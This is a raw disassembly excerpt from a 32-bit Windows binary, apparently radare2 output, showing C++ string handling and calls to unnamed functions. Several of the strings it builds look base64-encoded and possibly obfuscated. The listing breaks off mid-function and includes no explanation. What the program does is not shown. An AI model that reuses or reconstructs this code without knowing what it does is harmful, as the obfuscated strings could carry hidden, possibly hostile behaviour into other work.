cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x1b8]
call fcn.00431490
lea ecx, [ebp - 0x1b8]
call fcn.00430230
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xe4]
cmp dword [ebp - 0xd0], 8
cmovae ecx, dword [ebp - 0xe4]
call fcn.0045e090
lea ecx, [ebp - 0xe4]
call fcn.0042a310
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x521aa1
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51ea50
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521b3b
jmp 0x51ea50
mov edx, 0x5b4748
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x51f215
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f1e0
sub ecx, dword [ebp - 0x24]
je 0x51f215
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51f215
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x51f200
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51f21c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51f250
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f246
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521b40
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51faf1
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 8
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f290
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00521fb0
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
movups xmmword [ebp - 0x118], xmm0
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
lea eax, [ebp - 0x80]
mov byte [ebp - 4], 0xc
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0xcc]
push eax
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x9c]
call fcn.00446940
add esp, 0x14
call fcn.0042a680
mov ecx, eax
test ecx, ecx
je 0x521b45
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x40], eax
push str.Sl9xckdC
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0xd
call fcn.0042a8f0
test al, al
jne 0x51f398
push 8
push str.Sl9xckdC
lea ecx, [ebp - 0x40]
call fcn.0042ac10
mov byte [ebp - 4], 0xe
call fcn.0042a680
mov ecx, eax
test ecx, ecx
je 0x521b4f
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push str.Sl9xclJna2M
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0xf
call fcn.0042a8f0
test al, al
jne 0x51f3dc
push 0xc
push str.Sl9xclJna2M
lea ecx, [ebp - 0x3c]
call fcn.0042ac10
push ecx
mov byte [ebp - 4], 0x10
mov edi, esp
mov dword [ebp - 0x28], esp
push ecx
mov esi, esp
mov dword [ebp - 0x68], esi
mov ecx, dword [0x5b89d0]
lea ecx, [ecx - 0x10]
call fcn.0042a390
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00440b00
add esp, 4
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 4], 0x11
call fcn.004302b0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1b8]
call fcn.00431490
lea ecx, [ebp - 0x1b8]
call fcn.00430230
mov byte [ebp - 4], 0x13
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x68], esp
mov dword [ebp - 0x84], edi
call fcn.0042a680
mov ecx, eax
test ecx, ecx
je 0x521b59
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x14
call fcn.0042a8f0
test al, al
jne 0x51f4cb
test esi, esi
jne 0x51f4ae
xor ecx, ecx
jmp 0x51f4c2
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x51f4b3
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042ac10
push ecx
mov edi, esp
mov byte [ebp - 4], 0x15
push ecx
mov esi, esp
mov dword [ebp - 0x84], esi
mov eax, dword [ebp - 0x40]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x44], eax
call fcn.0042a390
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00440b00
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x16
call fcn.00443a30
add esp, 0xc
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x100]
call fcn.0042a310
push ecx
mov dword [ebp - 0x28], esp
mov edi, esp
push ecx
mov esi, esp
mov dword [ebp - 0x68], esi
mov ecx, dword [0x5b89d0]
lea ecx, [ecx - 0x10]
call fcn.0042a390
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00440b00
add esp, 4
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 4], 0x17
call fcn.004302b0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x118]
cmp dword [ebp - 0x104], 0x10
mov eax, dword [ebp - 0x108]
cmovae ecx, dword [ebp - 0x118]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1b8]
call fcn.00431490
lea ecx, [ebp - 0x1b8]
call fcn.00430230
mov byte [ebp - 4], 0x19
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x68], esp
mov dword [ebp - 0x84], edi
call fcn.0042a680
mov ecx, eax
test ecx, ecx
je 0x521b63
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x1a
call fcn.0042a8f0
test al, al
jne 0x51f608
test esi, esi
jne 0x51f5e8
xor ecx, ecx
jmp 0x51f5ff
mov ecx, esi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x51f5f0
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042ac10
push ecx
mov edi, esp
mov byte [ebp - 4], 0x1b
push ecx
mov esi, esp
mov dword [ebp - 0x84], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042a390
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00440b00
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x1c
call fcn.00443a30
add esp, 0xc
lea ecx, [ebp - 0x100]
call fcn.0042a310
mov byte [ebp - 4], 0x1d
call fcn.0042a680
mov ecx, eax
test ecx, ecx
je 0x521b6d
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x1e
call fcn.0042a680
mov ecx, eax
test ecx, ecx
je 0x521b77
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x34], eax
push str.eSBfbm4gOB55IGxtcmdkZ2FfcmdtbHEgOB55IG1kZGNwR3FNbmNsIDgecnBzY3t7ew
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x1f
call fcn.0042a8f0
test al, al
jne 0x51f6b7
push 0x44
push str.eSBfbm4gOB55IGxtcmdkZ2FfcmdtbHEgOB55IG1kZGNwR3FNbmNsIDgecnBzY3t7ew
lea ecx, [ebp - 0x34]
call fcn.0042ac10
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0xe4]
push 0x7c
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.eSBfbm4gOHkgbWRkY3AgOHkgbWRkY3BHbGRtIDh5IHNwaiA4ICN1cSAqIG1nYiA4I3VxKiBtcnduYyA4ICN1cSB7eyogcWZtdV11Z2xibXUgOCBtZGRjcCB7ew
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.00429670
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 4], 0x21
call fcn.004302b0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x80]
cmp dword [ebp - 0x6c], 0x10
mov eax, dword [ebp - 0x70]
cmovae ecx, dword [ebp - 0x80]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x1b8]
call fcn.00431490
lea ecx, [ebp - 0x1b8]
call fcn.00430230
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x60]
cmp dword [ebp - 0x4c], 8
lea ecx, [ebp - 0x2b0]
cmovae eax, dword [ebp - 0x60]
mov dword [ebp - 0x48], eax
call fcn.004302b0
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x2b0]
call fcn.00431490
lea ecx, [ebp - 0x2b0]
call fcn.00430230
mov byte [ebp - 4], 0x25
lea edi, [ebp - 0x130]
cmp dword [ebp - 0x11c], 8
lea ecx, [ebp - 0x1b8]
cmovae edi, dword [ebp - 0x130]
call fcn.004302b0
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1b8]
call fcn.00431490
lea ecx, [ebp - 0x1b8]
call fcn.00430230
mov byte [ebp - 4], 0x27
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
cmovae esi, dword [ebp - 0x100]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0xe4]
push eax
call fcn.00429ac0
lea ecx, [ebp - 0x24]
call fcn.004408a0
mov byte [ebp - 4], 0x28
push dword [ebp - 0x48]
push edi
push esi
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.0041dc60
mov edx, dword [ebp - 0x24]
add esp, 0x2c
add edx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x51f84b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x100]
call fcn.0042a310
lea ecx, [ebp - 0x130]
call fcn.0042a310
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x21
call fcn.0042a310
mov eax, dword [ebp - 0x38]
push 4
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
push ecx
mov dword [ebp - 0x48], eax
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x34]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042a390
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.00440b00
mov ecx, dword [ebp - 0x48]
add esp, 4
call fcn.0045afc0
mov eax, dword [ebp - 0x38]
push 8
push ecx
mov esi, esp
mov edi, dword [eax + 0x10]
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x48], eax
call fcn.0042a390
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.0045afc0
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x51f912
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x51f908
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521b81
push ecx
push edx
call fcn.00544491
add esp, 8
mov edx, dword [ebp - 0x24]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x51f92c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x51f943
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x51f95a
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x44]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x51f96f
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x51f9a3
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f999
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521b81
push ecx
push edx
call fcn.00544491
add esp, 8
mov ecx, dword [ebp - 0x104]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp ecx, 0x10
jb 0x51f9ef
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f9e5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521b81
push ecx
push edx
call fcn.00544491
add esp, 8
mov ecx, dword [ebp - 0xb8]
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
cmp ecx, 0x10
jb 0x51fa44
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51fa3a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521b81
push ecx
push edx
call fcn.00544491
add esp, 8
mov ecx, dword [ebp - 0xa0]
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
cmp ecx, 0x10
jb 0x51fa99
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51fa8f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521b81
push ecx
push edx
call fcn.00544491
add esp, 8
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x521aa1
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51ea50
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521b81
jmp 0x51ea50
mov edx, 0x5b47a8
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x51fb45
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51fb10
sub ecx, dword [ebp - 0x24]
je 0x51fb45
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51fb45
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x51fb30
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51fb4c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51fb80
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51fb76
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521b86
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x51fe1e
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x29
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51fbc0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00521fb0
add esp, 8
mov byte [ebp - 4], 0x2a
call fcn.0042a680
mov ecx, eax
test ecx, ecx
je 0x521b8b
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x2c
call fcn.0042a680
mov ecx, eax
test ecx, ecx
je 0x521b95
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x2e
call fcn.0042a680
mov ecx, eax
test ecx, ecx
je 0x521b9f
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x40], eax
mov byte [ebp - 4], 0x30
call fcn.0042a680
mov ecx, eax
test ecx, ecx
je 0x521ba9
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x32
call fcn.0042a680
mov ecx, eax
test ecx, ecx
je 0x521bb3
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0x33
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x1c], 0
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x44]
push eax
lea edx, [ebp - 0x20]
lea ecx, [ebp - 0x9c]
call fcn.004440b0
mov esi, dword [ebp - 0x38]
add esp, 0x14
mov ecx, 0x5b8a94
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.0041f2d0
mov edi, dword [ebp - 0x6c]
cmp byte [edi + 0xd], 0
jne 0x521bbd
lea eax, [edi + 0x10]
push eax
push esi
call fcn.00422ac0
test al, al
jne 0x521bbd
push dword [edi + 0x14]
push dword [ebp - 0x1c]
push ecx
mov esi, esp
mov dword [ebp - 0x28], esp
mov dword [ebp - 0x68], esi
mov eax, dword [ebp - 0x34]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042a390
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x34
mov esi, esp
mov dword [ebp - 0x84], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov dword [ebp - 0x68], esp
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.0042a390
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x35
mov esi, esp
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x40]
add eax, 0xfffffff0
mov dword [ebp - 0x84], esp
mov ecx, eax
mov dword [ebp - 0x38], eax
call fcn.0042a390
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x36
mov esi, esp
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042a390
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x37
mov esi, esp
mov dword [ebp - 0x6c], esi
mov edi, dword [ebp - 0x20]
add edi, 0xfffffff0
mov ecx, edi
call fcn.0042a390
mov ecx, dword [ebp - 0x48]
add eax, 0x10
mov dword [esi], eax
mov byte [ebp - 4], 0x33
call fcn.004069f0
mov edx, dword [ebp - 0x24]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x51fdbe
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1c]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x51fdd5
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x38]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x51fdec
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x2c]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x51fe03
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lock xadd dword [edi + 0xc], esi
dec esi
test esi, esi
jg 0x51fab4
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x51fab4
mov edx, 0x5b48c8
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x51fe75
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51fe40
sub ecx, dword [ebp - 0x2c]
je 0x51fe75
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51fe75
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x51fe60
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x51fe7c
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51feb0
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51fea6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521b81
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x520072
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x38
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51fef0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00521fb0
add esp, 8
mov byte [ebp - 4], 0x39
call fcn.0042a680
mov ecx, eax
test ecx, ecx
je 0x521bc7
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x3b
call fcn.0042a680
mov ecx, eax
test ecx, ecx
je 0x521bd1
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x3d
call fcn.0042a680
mov ecx, eax
test ecx, ecx
je 0x521bdb
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0x3e
push eax
lea eax, [ebp - 0x44]
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x9c]
call fcn.00447e20
mov eax, dword [ebp - 0x38]
add esp, 4
mov esi, esp
mov dword [ebp - 0x6c], esp
mov edi, dword [eax + 0xc]
mov dword [ebp - 0xe8], esi
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042a390
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x3f
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x48], eax
call fcn.0042a390
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x40
mov esi, esp
mov dword [ebp - 0x68], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov dword [ebp - 0x28], esp
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042a390
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x41
mov esi, esp
mov dword [ebp - 0x68], esi
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
sub ecx, 0x10
call fcn.0042a390
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
mov byte [ebp - 4], 0x3e
call fcn.00406d10
mov edx, dword [ebp - 0x2c]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52003d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x520054
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x51fab4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x51fab4
mov edx, 0x5b46e8
lea ecx, [ebp - 0x60]
call fcn.00440770
mov edx, eax
test edi, edi
je 0x5200c5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520090
sub ecx, dword [ebp - 0x2c]
je 0x5200c5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5200c5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x5200b0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.005558f0
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x5200cc
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520100
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5200f6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x521b81
push ecx
push edx
call fcn.00544491
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x52039e
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x42
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520140
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00521fb0
add esp, 8
lea ecx, [ebp - 0xb4]
push 0
push 0x588c78
call fcn.00427db0
mov byte [ebp - 4], 0x43
push 0x2c
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0
call fcn.00544577
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [ebp - 0x70], eax
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 0x44
